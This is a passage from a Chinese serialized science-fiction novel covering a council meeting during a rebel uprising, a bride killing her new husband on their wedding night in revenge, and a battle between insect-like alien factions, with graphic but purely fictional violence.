顾遥点了点头,“哦。”
安慰了妹妹几句后,她走进餐厅,拿出下层柜子角落里囤积的泡面,那里还有三桶。
这几天商店要是再不开门的话,她就不得不去找王姨给她做饭了。
她才不习惯依赖别人……
在等待水烧开的过程中,她默默地站在抽油烟机面前,又开始想起这几天发生的事。
仔细想想,黑环出现反抗军暴动其实并不奇怪,周明出的那点公共医疗用地本来就扣扣搜搜,南宫问天无论再怎么开源节流,从运输、研发成本、原材料费用、人力成本等等一系列必要的流程下来,黑环可用医疗物资的价格对于下邦人来说还是高昂得令人绝望,何况他本来就没那么清廉。
没有钱,就等死。
而人又总是不肯安安静静地死去的。
萧翎在半月湾牺牲的事情刚一传出来,C3区的反抗军们就按捺不住了,无人区特遣部队现在群龙无首,现在不行动,什么时候行动?
想到这里,顾遥叹了口气。
南宫问天也真是死的够窝囊,被反抗军找到的时候居然还泡在那种地方,光不溜秋的,真是丢十二主席的脸面,希望情报局已经搞定了那些记者……
“滴——”
电水壶突然发出提示声,红色的光点熄灭下去。
屋外的雨还在下,墙上时钟显示在凌晨一点三十五分,孤单的滴答声里,顾遥把热水和调料包倒在面里泡了三分钟左右,胡乱搅拌几下,匆匆吃了起来。
她今晚要早点睡,明天早上还有会议要开。
……
A1区,总部大楼。
顾遥一早就来到了联合会议室,放在以往她总是第一个来的,但今天当她推开会议室大门,里面已经坐着三个人了——总指挥姜安,执政官孙志成和整个联合城邦最大的投资商周明。
……这帮人,今天干嘛来这么早?
失去了“第一个来”,她的人生里为数不多的“第一名”,那种独属于她的荣耀,顾遥心中隐隐约约生出一股不满来。
她一如既往地在角落里落座,接过个人助手恭恭敬敬递来的咖啡,不动声色地盯着这群人。
孙志成皱着眉头,在和一个戴眼镜的低马尾西装女人说话,他看起来是在交代什么事情,动作看起来抑扬顿挫,像个交响音乐指挥家。
至于那个女人,她其实看到过她很多次了,隐约记得她好像是情报局的人。
总指挥则还是老样子,翘着二郎腿,乐呵呵地刷着老年人小视频,外放的声音在会议室里一阵阵响起。
周明也在闷声点击个人全息屏幕,只是看上去更沉默些,周围的气氛压抑得能拧出水来。
顾遥抿了一口咖啡,嘴角不知不觉地翘起。
其实也难怪,南宫问天死在他的地盘,黑环也被反抗军占领了部分,这几天他肯定够烦躁的。
时间一点点过去,大屏上的时间锁定在八点半,十二主席陆陆续续地都到齐了。
情报局的工作人员上台,开始报告这几天发生在联合城邦的所有事。
都不是很光彩。
这些情报可比面向大众的新闻里播报的要详细客观得多,顾遥心里逐渐泛起复杂的情绪。
反抗军的行动比他们以为的要更有秩序,他们非但没有伤害平民,反而给他们食物和额外的物资,甚至派人主动维护失去了特遣执行官部队保护的医疗基地。
他们发起的这几天的暴乱,是有明确目的和组织的。
新的口号在安全区以外的地方蔓延,人们口口相传,又纷纷加入其中。
他们要免费的医疗物资,无偿的医疗服务,和推倒安全区的护城围墙。
那是上邦人和下邦人的隔离带,是贫穷和富裕的具象隔阂。
他们坚定不移地相信,想要实现平等,就必须从先把那堵实实在在的围墙推倒开始。
实际上,她并不反对让下邦人们拥有和上邦人们相同的权利,毕竟他们也是人,只是……平心而论,她非常害怕在以后的生活里和这群人相处。
他们的贪婪、愚蠢、下流和流行在大街小巷里的犯罪文化,那些不断因为他们发生在上邦的各种恶性事件,都是她所深深厌恶的。
那不属于文明。
“最新消息,无人区前线发来捷报。”
突然,大屏闪了一下,显示出下一位发言人的信息,台上的情报人员愣了一下,看向台下拼命向她打手势的同事,看来现在有更要紧的事需要立刻上报。
孙志辰向她微微点点头,她赶紧下去了。
新的情报人员上台了,他脸色看起来红扑扑的,耳根处泛着两团红晕,显然是兴奋极了。
顾不上这番不太体面的形象,他迫不及待地打开麦克风,激动地说道:“无人区前线传来捷报,昨日,萧主席与袁主席鼎力合作,通过新型武器在军队中的投入使用,成功击退了半月湾南部的虫群,剿杀了大量X109病毒的原生感染者,目前已知浮动在1200度左右的高温是防治虫灾的有效手段!”
意料之外的好消息,所有人都面露喜色,会议室里响起阵阵掌声,连顾遥都不自觉加重了鼓掌的力度。
正所谓将功补过,前天袁立在会上报告虫灾的事情时,好几个主席都在话里明着暗着将他骂了一顿,责怪他以前为什么不早点把雌虫
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找回来,连和他同盟的周明都铁青着脸,没有说话。
那天她可是扬眉吐气了一回。
可是早就提醒过他们,X109病毒可能和虫族密切相关。
谁叫他们把自己当小孩哄,现在出事了活该!
不过嘛……现在事情有所好转也是好事,毕竟作为十二主席之一,她还是要顾全大局的。
纷纷的议论声中,大屏发出滴的一声提示音,杨威举手示意,扶着桌子慢慢地站起身。
会议室里顿时安静下来,所有人都恭恭敬敬地看着他。
“首先,我代表全体人类,向萧主席和整个无人区特遣部队表示衷心的祝贺,他们用自己的实际行动证明了人类的勇气和荣耀!”
会议室里响起热烈的掌声。
“各位同僚,此时此刻,我们正在共同经历人类历史上最艰难的时期之一,虫灾是历史对我们的下一步考验,只要我们齐心协力,就能将其战胜!”
杨威演讲的声音在会议室回荡,不知不觉,顾遥的心思已经飘到了天边去。
所以,他们接下来的打算是要先消灭虫灾,再打败反抗军,让一切重新回到原来的秩序吗?
是否真的会这样顺利呢……
次日,联合城邦A2区,萧琛私宅。
清晨一大早,屠一鸿就在书房里听到门口传来萧琛和谁争吵的声音。
一股不详的预感涌上心头,她放下手里的书,随手穿上一件米色针织外套,踩着棉拖鞋来到客厅。
“怎么了吗?”
她看着客厅门口僵持不下的三人,萧琛用身体死死地堵在门口,两个陌生的执行官站在门外往里挤。
听见她的声音,萧琛猛地回过头,执行官们一看见她,眼睛顿时一亮,脸上露出夸张的笑容,急忙对着她说道:“屠小姐,AGPC找您有要事相——”
“狗屁的要事,我不同意!”萧琛难得地爆了粗口,着急地把两个执行官往外推。
两个执行官死死地扒住门框,拼命在门缝挤出半张脸,冲屠一鸿大喊:“屠小姐,正所谓佳人配才子,AGPC也是为了成全一桩喜事……”
“滚出去!”萧琛急得大骂,凭着全身的力气强行推出二人,砰地一声关上房门。
客厅里总算安静了,他喘着气拍了拍手,心虚地不去看屠一鸿。
屠一鸿走上前,轻声问道:“发生了什么?”
“没什么。”萧琛摇了摇头,突然转身将屠一鸿紧紧搂在怀中。
他个子高些,微弯着身子,将下颚抵在她的颈窝,在她耳边轻声道:“不用去管外面的人在说些什么。”
“你待在这里就足够了。”
屠一鸿没有说话,她只是越过他的肩头,深深地看着那一扇紧闭的门。
好像那外面有什么声音,在声嘶力竭地尖叫。
接下来一连几天,无论早中晚,AGPC都持续不断地派人前来,
不停地游说屠一鸿回到萧衍身边,一来他现在是联合城邦的大功臣,二来萧衍在记者采访会上表白了对她的思念。
英雄凯旋归来,抱得美人归,自古以来就是战争时期为人所称道的佳话,男人的胜利,往往最振奋人心。
所有人都在期盼这桩美事。
萧琛一开始还雇了人来赶人,无论是谁都一棒子打出去,她常常看着他面红耳赤与来人争辩的样子,一个大学城的教授因为这些事慢慢变得敏感易怒起来。
直到今天下午,杨威亲自来了。
他的身边站着洛岚。
门口围满了记者。
萧琛怔怔地看着他母亲脸上的泪痕,看着杨威那张饱经风霜的脸上露出的歉意,痛苦一寸寸爬上他的心头,酸涩填满了整个胸腔。
他还能怎么办呢?
他低着头打开了门。
屠一鸿出现在所有人面前了,她还是穿着那身单薄的白色纱裙,外面套了一件厚实的外套,就跟她在无人区里一个人四处流浪时的一样 。
她看着杨威的眼睛,温顺地说道:“我跟你们去北海。”
下一秒,闪光灯噼里啪啦地响起,将她此时此刻的姿容装进取景器,记者们潮水般涌上前,无数的问题将她淹没。
她微笑着一一回答。
明天,她就要一举成名。
73.她的未来,光辉璀璨
北海,萧家宅邸。
深夜,半轮弯钩似的明月高悬于天际,漆黑的夜幕上一丝云也没有,星星点点闪烁点缀其间,偶尔吹来一阵干爽的夜风,令人清醒。
会客厅里宾客如云,觥筹交错,空气里四处弥漫着奢侈的香水气味,隔壁舞池边上传来悠扬的钢琴音乐声,二楼阳台的玻璃门敞开,送入会客厅内一阵阵馥郁的玫瑰花香,沾染在每个人的衣襟上。
突然,会客厅大门外传来一阵小小的骚动,客人们争先恐后地挤过去,纷纷举起酒杯道贺。
萧衍站在人群簇拥的中心,愉快地跟每个人打招呼。
明明是非常重要的日子,他今天倒是穿得很随意,深蓝色西装外套系在腰间,领带在锁骨下松了三寸,白色衬衫露出一小片胸膛。
谈笑间,一群人浩浩荡荡地从门口聚到舞池,原本热热闹闹的会客厅渐渐变得空旷起来。
而萧琛站在二楼,冷冷地看着底下的这一切,他仰起头,将杯中酒水一饮而尽。
不知是否是酒精的作用,他此刻心情有些恍惚。
几个勾肩搭背的男人路过,他们都没有找到舞伴,因此来二楼阳台上醒酒。
双方彼此擦肩而过时,萧琛隐隐约约感觉到男人们似乎斜瞥了自己一眼,那眼神里带着几分嘲笑的意味,像是一把毛茸茸的刷子,带着密集的针尖般的恶意,令人发怒。
酒精让意识有些不清醒,他咬紧牙关,握紧双拳,瞪了他们一眼。
男人们像是没看到似的,谈笑着走过他了。
萧琛就这样站在原地,目送他们穿过玻璃门,走进阳台花园里,慢慢地消失在视线中。
他渐渐感到自己的拳心的那一点狭隘的空间无限地扩张开来,内心的惆怅和悲伤水一般漫延开去,将他整个人淹没。
他失去的只是她吗?
或许他从未拥有。
他其实并不了解她,只是因为那外在的身形像是从他文学的梦中飘出的一般,纤弱的、美丽的白色幽灵,如寒风中扑簌的蝶翼,他最心醉的就是她那温柔的笑颜。
但当她真的离开北海,来到他身边后,他总隐隐约约感觉那纤弱背后似乎存在着某种异样。
有时候,他躺在床上看着她,恍惚间看见她光洁如白玉般的皮肤下古怪地涌动,似乎那下面有某种坚硬的异物在挣扎,活生生地咯咯作响,仿佛下一秒就要从少女美丽的皮囊里破茧而出。
他骤然一惊,大脑瞬间清醒,脊背后面冒出一阵阵的冷汗,才发现她其实还睡着,月光下,少女的睡颜静谧,光洁的锁骨上泛着一点光。
他不敢再去看。
“二哥!”
耳畔突然传来熟悉的声音,萧琛顿时从回忆中清醒过来。
他看向眼前的人,他的弟弟,萧衍,站在他的面前,脸上挂着微笑。
他这是来示威的吗?
萧琛脸上露出勉强的笑容,“恭喜。”
萧衍没说话,只从插兜里伸出一只手,用力地拍了拍萧琛的肩膀,带着一大群宾客潇洒离去,像是战士在对决结束后对落败对手实力的一种认可。
萧琛扶了一下金丝眼镜框,视线直直地望向对面的墙壁上,他没有注视萧衍离去的背影。
他其实还不想认输。
……
化妆室内,女伴们紧挨着彼此坐在沙发上,兴奋地讨论着这桩近乎于完美的婚事。
特别是当助手拉开衣帽间,屠一鸿穿着那件雾面真丝抹胸的鱼尾流光缎面婚纱出现时,她柔顺如黑色缎绸的长发垂落于腰际,薄纱从抹胸领口自然垂落至镶嵌着无数碎钻的鱼尾裙摆,行走时若月光倾泻于水波涟漪间,在场的所有人都发出惊叹声。
一位约三十岁左右风韵犹存的女伴由衷地赞叹道:“这是一个女人一生中最美的时刻!”
其他的女伴们也纷纷赞同,她们又开始夸奖起她的眼睛、耳饰、头发……一时间,各种各样的美誉之词向屠一鸿涌来,房间里充满了亲密和谐的气氛。
屠一鸿礼貌地微笑,她的脸色有些苍白。
一个坐在沙发角落里的年轻女伴细心地注意到这一点,她同情地看着她,小声说道:“她太紧张了。”
几个助手扶着屠一鸿坐到化妆凳上,她们看着她,给她化妆,而她看着镜子里的所有人。
就是不看她自己。
过了约一个半小时左右,所有的东西都准备好了,助手为新娘盖上几层头纱,那双黑色的眼睛在雾一般的薄纱下若隐若现。
仿佛一匹月夜中徘徊的狼。
所有人都站了起来,为美丽的新娘鼓掌。
她们笑吟吟地簇拥着她,走到四楼那间收拾好的双人卧室去,一路上,那位三十多岁的女伴一直紧紧牵着新娘的手,仿佛她是她的亲生女儿一样。
她怜惜她,又真心为她高兴。
她一定是幸福的。
时间来到深夜十二点整,女伴们继续在卧室里聊了一阵,直到门外响起暴躁的敲门声,她们才恋恋不舍地离去。
关门声砰地响起,萧衍醉醺醺地走进房内,那些麻烦的男伴已经被他的下属赶走了。
他还是第一次来这里,对房间内看的装潢还很陌生,醉眼朦胧间看见房间中央摆着一张温馨的双人床,周围围着一圈有的没的家具,什么桌子柜子凳子之类的……
而他的新娘坐在床尾边上,背对着他,静静地望着正对房门的那扇巨大的落地窗外。
他看见她露背鱼尾裙后露出的的那一块光滑的肌肤,在后颈处一片垂落的薄纱下若隐若现。
他吞咽了一口口水,向她走过去。
“在看什么?”他坐到她身边,有些胡乱地问道。
“什么也没有看。”
“哈?”
他抬起头,看了她一眼,才发现她的脸色居然如此苍白。
他站起身,拉上窗帘,“那就别看。”
此时四下无人,月光也不能侵扰这里,他急不可耐地转过身,紧紧抱住她,沉重的呼吸带着酒气,痴迷地嗅闻着她的脖颈。
他双臂一用力,将她打横抱起,想把她扔到床中心去,但似乎是因为酒醉而气力不足,二人一不小心摔倒在床头边缘,而他刚好扑倒在她身上。
他干脆也懒得动了,半跪在地上,将头埋在她下腹的纱裙丛间,狂热地嗅闻着。
屠一鸿躺在床上,看着天花板的吊灯,倒映作两团明晃晃的光晕飘在她的眼睛里,像白日的焰火,要把什么东西烧成灰烬。
她平静地说道:“你看不起我吧。”
萧衍没听清楚,他抬起头,迷迷糊糊地问道:“什么?”
下一秒,他的心脏倏地从背后被利器贯穿。
深红的血液喷薄而出,惊心动魄的颜色染红了凶手的婚纱,和她紧握着匕首的左手。
几滴血溅入她的眼睛,她眼也不眨,只望着背部那个活生生的血洞,藏在雾一样纱幔下的黑色瞳孔慢慢张大,边缘折射出淡淡的红光。
深夜月食之时,她听见狼嚎。
她的另一只手,及时地死死捂住萧衍的口鼻,防止他叫出声来,直到感觉到后者因为痛苦而痉挛的身体渐渐瘫软了下去,她才慢慢地松开手。
萧衍的半边身体无力地倒在她身上,她从床上站起身,他的身体就顺着滚到了地上。
而她紧握住手心的匕首,站在地上静静地盯着他。
她在等他死。
萧衍还残留有一口气在,他急促地呼吸着,四肢剧烈地抽搐起来,像是要被空气呛死似的,他的喉咙里发出断断续续的声音。
“为、什么……”
她静静的,并不说话。
萧琛躺在地上抽搐了一会儿,慢慢的就不动了。
就在屠一鸿以为他已经死了的时候,他的一只手突然动起来,死死地抓住她的裙角,两只充血的眼睛猛然睁开,恶狠狠地盯着她。
“你会……下、地狱!”
“我、做鬼也、不会放……”
“该死……你……”
他神志不清地喃喃诅咒着,拖着身体用最后一点力气向她爬去,他的气管里灌进了血,堵在喉咙里一卡一卡,断断续续的咒骂声在房间里低低地回荡。
她看了他很久很久,用很慢很慢的语速轻声说道:“可以继续爬。”
像是在念一首诗。
萧衍此时已经听不懂了,他的大脑因为心脏的破裂而供血不足,严重的缺氧让他已经无法进行下一步思考,甚至呼吸。
三分钟后,他就会因为因为心脏骤停而死。
屠一鸿看着这个在地上挣扎的男人,她知道手里的刀以后还有用处,就像她刚才做到的一样。
她将它放在桌上,开始脱那件让她呼吸困难的婚纱。
没有别的衣服可换,她半跪在地上,开始扒萧衍的衣服。
于是那件华丽的婚纱就放在萧衍的身上了,他和它上下叠在一起,就好像他穿着它似的,只是不知道要嫁给谁,大概是桩完美的婚事。
穿好衣服,屠一鸿将匕首藏在贴身口袋里放好,她转头看向地上那个男人,他已经停止了呼吸。
男人的死是很直白的,带着一点拙劣的、惨白的丑陋,好像一个单调的感叹号,或者稀松平常的句号,缺乏古来今往众多文艺作品里所孜孜不倦地描述的那种凄美的、涩情、美艳的艺术感。
一整块畸形的肉僵硬地躺在那里,胸口破了一个血淋淋的大洞,头歪到一边去,双眼无神地睁着,第一眼看到会让人吓一大跳,然后立马是冲击全身心
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的、赤裸裸的恐惧。
不像女人的死,还可以给人以一种啧啧叹奇的旁观心态,稀释这样沉重的心理负担。
屠一鸿看着男人那张僵硬的、青白的脸,一瞬间,仿佛很多张脸都叠在上面,恍恍惚惚地闪过,她渐渐回忆起很多类似于他这样的人。
一开始是很平常的,在销毁掉手头的所有与零启计划相关的资料后,她独自离开世界生命收容所,从南洋一路流浪到北海边境,跨越了大半个大陆,终于追踪到了屠启的新的联系方式。
她按照那个号码打给屠启,一开始电话里的声音很惊讶,而后又很快恢复平静。
“你想来找我就来吧。”电话里传来这样的声音。
“我在这个地方。”不一会儿,号码发送了一个地址过来。
她认真地记下地址,战前难民遗址三号驻地,紧接着又打给屠启,然而这次号码变成了空号。
没有别的线索了,她只好按照这个可疑的地址追踪过去。
在路经北海边境森林的途中,她遭遇了一伙在野外横行霸道的劫匪,子弹用尽后,她被逼到河滩边上,不断后退。
那是初冬,她双膝浸没入水中,冷的瑟瑟发抖,一队北海特遣部队恰好经过,将她救了下来。
她被重新带到了之前路过的地方——北海南部113号难民营,距离本来的目的地又远了三公里,她的时间有限,于是她向这里的护士请求面见这里的话事人。
见到萧衍的第一面,是在那间狭窄的办公室里,她拄着拐杖,一瘸一拐地走进来,冻伤的膝盖和小腿还没好完全。
“您好,我想请求提前出院,这是我的申请令。”
她一步步挪到办公桌前,递出那份字迹工整的文件。
萧衍坐在沙发上,二郎腿高高地翘在桌上,他放下手中的报告,上下扫视了她一眼,嗤笑一声。
她心神慌乱了一下,潜意识里不敢去思考这样的反应背后意味着什么,只是短暂地迟疑了一下,继续说道:“这段时间,非常感谢你们的帮助,我……”
“你可以爬着去。”
她表情僵硬了一下,心中好像有什么薄透的东西轻轻碎掉了,她慢慢地回过神来。
“您好,我不懂您的意思。”
“我说,待不住就死外面去,听不懂人话吗,瘸子?”
那两个字出现的一瞬间,她的心猛然狂跳起来,泵出冰凉的血液在身体里艰难流通,寒冰般堵塞所有的思绪。
那些针对她的身体的恶意,从回忆里拉出无数的丝线,将这一点再次连接,她的人生像是被这张结结实实的网捕住永远不得超脱其中。
生动,具体,鲜活,就在她的前面,极富冲击力,咧着血淋淋的大嘴呲呲地嘲笑着,口中不断涌出黑漆漆的、乱七八糟的东西,织出无数黑线布满了整个世界。
不断提醒着她,她是羸弱的、次等的、失败的。
高筑的自尊心在一点点崩坏,她的任何撕心裂肺的挣扎,都像是在对那些高高在上俯视着她的人调情。
一种讨巧的小手段。
要被当做人看待吗?可以的,要么先跪在脚边微笑,要么就不管不顾地发疯,然后把你架在火上烧死。
毕竟你太弱了啊,能怎么反抗呢?
她握紧小小的拳头,纤细手腕上的青筋微微崩起,能够使出的力气只有非常可爱的一点点,明确这一点的一瞬间,她顿时被那种发自内心的恐惧包围。
对她终生将受困于这样一具羸弱的身体的恐惧。
这具病弱的皮囊在颤抖,她感到她的心叹了一口气,低声陈述着:“跪下吧,跪下吧……”
她的耻辱,她对自己时刻不停歇的咒骂,她的痛苦来自于她自身,来自于她的活生生的存在。
难道不是因为这样,眼前这个男人才能如此肆无忌惮地羞辱她吗?
如果她的拳头硬一点的话;
如果她的身体健壮一点的话;
如果她……
如果她不是个女人的话!
那她就能有尊严地活着。
那才是屠一鸿该有的活法。
但现在,还不到时候。
她要以这具身体所能实现的方式,给他以他带给她的痛苦同等的裁决。
到那时候,她就可以重新踏上征程,带领世界进入新的进化循环。
到那时候,她就可以脱胎换骨,展翅飞翔。
此时已经接近凌晨两点,天际浮出一线乳白色的微光,屠一鸿搜出提前藏在衣柜里的武器和行李,装备完毕后,在翻下落地窗前,她最后看了一眼屋内的那具尸体。
他真的不动了。
她放下心来,攀着绳索一点点爬下去。
今夜,她就要一举成名。
74.百骨攻进,二度通缉
夜潮降下,天上那一轮赤色高悬于夜幕之上,像是一只烙红的眼睛,自幕后深处窥视。
时间差不多了,战场地底下响起窸窸窣窣的响声,无数在地上爬伏的黑影们纷纷翻身潜入沙滩,慢慢撤退,在赤红的夜色掩护下,无声无息地潜入埃勒伽什四周的森林。
察觉到正在死死缠绕着自己的敌虫突然有了离开的念头,祝吟辰迅速抓住机会,她用尽全身的力气突然暴起,全身在一瞬间释放出大量的纯露!
砰地一声巨响,爆炸声的余响在海滩四周荡开去,她的身体顿时一松,瘫倒在一片泥泞的血肉中,敌虫零零碎碎的血肉自半空扑簌簌地落下。
空气里弥漫着腥甜的血腥味,她艰难地站起身,抹了一把脸上的血,突然感到喉中火辣辣的,她往地上啐了一口,吐出一滩浊黑的血。
这些敌虫的成千上百对颚足可以将猎物的身体缠住,并用颚足上的毒刺向里面注射强酸性的毒液,腐蚀溶解猎物的内脏。
不得不说恩基和玛赫这次确实是有备而来,她们新创造的这些阿努的身体呈现扁平的长条形,全身足足有七八米长,内部不均匀地布列有四到五个心脏,因此再生能力极强,数个骨环节相互连结,乍一看如一条在陆地上爬行的“地龙”。
她们全身呈现暗红或红褐色,头部两侧有触角和颚肢一对,身体两侧则对排分列着数对呈钩状的颚足,钩端有毒腺口,能排出剧毒的强酸性毒液,无数颗细小的眼睛如同贝类一样均匀分布在颚足之间、身体的边缘部分,因此她们并不怕被大颚们斩去头部,只要身体没有战损成碎纸片那样的境地,她们就还能自主行动。
在战斗时,她们带有毒腺的颚足杀伤力十足,尽管因为贴着地面爬行而导致视力不佳,但一旦发现对手,她们会以极快的速度扑向猎物,用多只颚足紧紧抓住对方,如毒蛇般迅速绞缠住猎物全身,并用头部最粗壮的一对颚肢钳住其头颅两侧,释放毒液以制服猎物。
在对手停止挣扎之后,她们会咬破猎物的外壳,食用其柔软的内脏,只剩下坚硬的外壳。
伊南娜给她们起了个恰当的名字——百骨。
面对这样空前凶残的敌虫,即使是祝吟辰也有些吃不消,但好在她还有纯露的力量可以在战斗中进行自疗。
只是对于这种小虫们难以解决的内在伤势,大颚们就要难受很多了。
祝吟辰站在原地断断续续地呕吐了约三分钟左右,直到感到那种中毒的火辣辣的感觉稍微好些,她捂着腹部重新抬起头,一边控制生长出新的内脏,一边望向这片战场的对面。
夜潮照拂下的海岸上尸横遍野,血红色的天光下,海风裹挟着血腥味刮过,一望无际的沙滩上浸染着一团团斑驳的深红,四处可见大颚被吸干的尸体和百骨零零碎碎的身体。
此次战况惨烈,仔细看去,地上大多数是大颚的尸体,但就这几天的战况来说,这次存活的大颚其实已经比上次多了些,其中部分还能站起来的,还在战场上搜寻活着的同伴。
无论如何,有进步就是好兆头。
祝吟辰在心里安慰了自己这么一句,她回过头,望向后方埃勒伽什的方向,海岸线上晃动着些向这边跑来的错落的黑影,负责善后的拉姆和小虫们已经赶来了。
等会整军回去后,小虫会先为大颚们缝合裂开的铠甲和内部流出的内脏,再带她们到埃勒伽什内最底层的地方休息,她们昨天注意到安提在那边诞下了一批新的虫卵,和那些虫卵待在一起似乎有某种疗愈的作用。
祝吟辰喘了口气,她盘腿坐到地上,闭上眼睛,开始专心生长内脏。
昨天,她和拉姆们合作调查到百足的部分情报,她们具有昼伏夜出的习惯,最近这几天,她们总是潜伏在附近阴暗潮湿的雨林地区的地下暗河里,随时有可能钻出地面,重新发起进攻。
不确定今夜恩基是否会再次发起突袭,她要保证自己的战力随时在线。
而且,还有非常重要的一点——在她明天晚上回溯蓝星前,她要保证埃勒伽什的安全。
自从她回溯回来起已经过了六天,而恩基在六天里昼夜不停发来了足足四十二波进攻。
刚刚结束的是第四十三次。
长时间的持久战,以及比以往数量更多,杀伤力也更为恐怖的对手,对所有站在安提这边包括她在内的阿努而言,不仅仅是一场对精神和生理的空前考验,也是她们宣告反叛纳姆后迎接的第一场虫族内部公开战争。
因此无论如何有多吃力,她们都必须打赢每一场仗。
想着想着,祝吟辰突然感到心中的压力沉甸甸的,如一座突然倒下的大山,将她掩埋。
实际上,自从安提将她复活后,她这段时间以来一直在故意疏远安提,也不去照顾安提的孩子,除了睡觉吃饭的时候会留在埃勒伽什外,几乎其余的时间都冲锋在战场前线。
但整整六个夜潮过去,她其实已经有些吃不消了。
不想面对安提,也疲倦于高强度的战斗,眼下似乎只有回溯到蓝星的那五个小时的安逸睡眠能让她稍微平静一点。
这似乎是一种逃避……但她需要。
好在今夜无事。
祝吟辰回到埃勒伽什时,时间已经快接近凌晨了,天边浮起一线乳白色的弧光,在海面上波光粼粼地闪动。
穿过布有发光珊瑚的走廊,祝吟辰摸黑进入自己的房间。
拉姆们将这里布置得很有海洋特色,房间中央的床是一个巨大的贝壳,里面铺满柔软干燥的鸟羽和稻草,一旁的石桌上放着一份五分钟前送来的菌落和鲜肉。
此时房间里一片漆黑,她坐到珊瑚小凳上,凭着敏锐的嗅觉,在黑暗中狼吞虎咽地进食,咽下生冷的食物让她的食道和腹部感到很舒服。
她用菌落包裹住一整块生肉,像吃汉堡一样一口咬下去,唇齿间溢出丝丝腥甜的血的香气,这种不用视力,而是专心用味蕾去感受舌尖滋味的进食方式,实在是一种放松的享受。
她突发奇想——如果她回去后尝试用人类的身体吃下差不多的晚餐,她是否也会感到一样好吃?
在她的身后,房门左侧的阴暗角落里,整整齐齐叠放着一些灰扑扑的垃圾——那是她这几天抽空在温室附近秘密搜集起来的有关零启计划的资料。
她在里面找到了一些白柱盆地的近距离照片,针对上面的奇怪铭文翻译出了一些新的词汇,比如“基码”、“太”、“无限”等等,但其余的还没来得及弄懂。
等祝吟辰吃完盘中餐,洗漱完毕准备睡觉了的时候,伊南娜来了。
房门缝隙间响起一声轻微的吱呀声,漆黑的房间地面突兀地照进一片蓝幽幽的荧光,那是门外走廊里发光珊瑚散发出的光线。
祝吟辰保持着躺在床里的姿势,有些无奈地眯着眼睛看向门缝外逆光的黑影。
“什么事?”
伊南娜的神色藏在阴影中,看不真切,她的身上泛着一股新鲜热乎的血腥气,看样子也是刚刚才从战场上下来。
黑暗的房间里听见她带着笑意的声音传来:“下一个夜潮,你不用再来。”
祝吟辰心中一惊,连忙坐起身,“为什么?”
“若是身体不适,放松休息即可。”
祝吟辰愣了一下,立马反应过来——伊南娜这是把她每七个夜潮就一睡不醒大半天的诡异表现当做某种病症了。
倒也难得她没有因此怀疑自己……
“咳,谢谢。”
祝吟辰转过头,尴尬地说道:“我确实有些小病,但是明天的战斗我会坚持全力以赴。”
“并非如此,伊塔。”
祝吟辰疑惑地看向伊南娜,后者的眼睛在黑暗中闪闪发光。
“安提告诉我她的顾虑,永居渊下的女儿于冥河之下看见你命运的倒影。”
陌生的词汇让祝吟辰稍微愣了一下,永居渊下的……女儿?
“你行走于冰原之上,深入白柱群陷坐落之地,在倒落的天际边界迷失,永不停歇的冥河之上,你步落的涟漪渐归平息。”
“留在这里吧,纵使永燃的魂灵不应干涉幽冥之事,但我想,你还不该在此时死去。”
祝吟辰惊讶地看向伊南娜,没想到她居然还挂念着自己的生死。
不,或许她只是还想着蛊惑自己反叛安提罢了……
但是那个“永居渊下的女儿”说的这些东西是什么意思?
她调动意识中的语言翻译系统重新生成了好几遍翻译结果,逐渐明白了大概——总之听起来好像是那个女儿预言到自己会死在明天?
“好吧,谢——。”
祝吟辰看向门外,才发现房门紧闭,伊南娜早已离去了。
也是,自己明天要是不上战场,她明天就得忙碌些,早点休息也好。
但她明天真的就这样不去了?祝吟辰重新闭上眼睛,放松地蜷缩起身体,或许她可以再考虑一下。
就这样在犹豫中睡了过去,但当祝吟辰第二天醒来,发现房门四边缝隙不知何时居然和墙壁一起被熔炼做坚硬的一整块后,她就立刻改变了想法。
不清不楚的缘由,擅自独裁的作为,以及恐吓式的劝诫,她是不会接受的。
何况她昨天深夜其实已经仔细考虑过,翻译系统的翻译结果恐怕有误——如果她真的死掉,按照上次的经验,她的灵魂应该会循着埃勒伽的指引,重新出现在安提面前,而不是什么冰原、白柱……
何况如果她今天真的会死,她也有安提的返生做担保。那还有什么值得她恐惧的呢?
还会发生比这更糟糕的事情吗?
不可能了吧。
她在屋子里等了一会儿,在听到房门外走廊里传来前来送饭的拉姆的脚步声后,她连忙拍击房门求救。
听见房门里突然传来祝吟辰的声音,门外急促的脚步声立刻顿住,不一会儿,拉姆熟练地将墙壁切开一个大洞,将祝吟辰解救出来。
祝吟辰呛了好几口灰,她拍了拍倒塌石块在肩上落下的灰尘,刚刚踏出摇摇欲坠的房间,角落里的两面墙壁轰然倒塌,将房间角落里的资料尽数掩埋。
拉姆看着这一切,有些心虚地低下视线。
她明明记得这个房间是自己当初认认真真建造的,怎么会这么脆弱……
可恶,一定是谁破坏了墙壁的受力结构,一定是这样!
祝吟辰看着眼前这面目全非的一切,拳头上的青筋慢慢暴起。
她转过头,语重心长地对拉姆说道:“麻烦向下一层的拉姆们说一下,伊南娜的那间宫殿不要再做了,现在是战争特殊状态,前线吃紧,全部改成储存菌落的仓库。”
“是!”
等祝吟辰赶到战场的时候,战况已经接近结尾了。
只不过是她这一方的结尾。
这次的战况远比之前惨烈得多,恩基派出的百骨数量足足是上个夜潮的三倍,即使是最勇猛的大颚,在数条百骨的联合攻击下也伤亡惨重。
更严重的是,这次的来犯中,多了一股
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可怕的力量在暗中操纵。
尼努尔塔庞大的身体被两条百骨合力缠倒在地上,她使出浑身的力气,以迅雷不及掩耳之势挥动毒鞭,猛地斩落面前企图偷袭的一只百骨的头部后,开始在地上疯狂地来回翻滚,试图用坚硬的地面和她的体重反复碾压,迫使缠绕着她的百骨松开。
但她的对手显然也不是那么好对付的,她们非但没有松开,反而在身体的巨大压迫下加剧了缠绕的力度和注入毒液的浓度。
这是场势均力敌的较量。呼吸困难间,尼努尔塔感到自己的意识逐渐涣散起来,腹部突然传来一阵凉意,她立刻清醒过来,意识到这是自己腹部的铠甲裂开了一条缝。
她更加猛烈地翻滚起来,但随之而来的是更恶毒的杀意,她自己的呼吸愈发困难起来,眼前的景象开始一阵阵地发黑。
忽然砰地一声,尼努尔塔只感到周身一轻,缠裹着自己的力量顿时消失了,肺部重新灌进流通的空气。
她躺在泥泞的血肉中深吸一口气,突然察觉到自己尾部的毒鞭古怪地扭动起来,她的大脑瞬间清醒,惊恐对祝吟辰大喊道:“快走!”
祝吟辰原本站在尼努尔塔面前,试图挡住四周百骨虎视眈眈的进攻,还没来得及对这番话做出反应,她突然感到胸口一紧,全身顿时就没了力气。
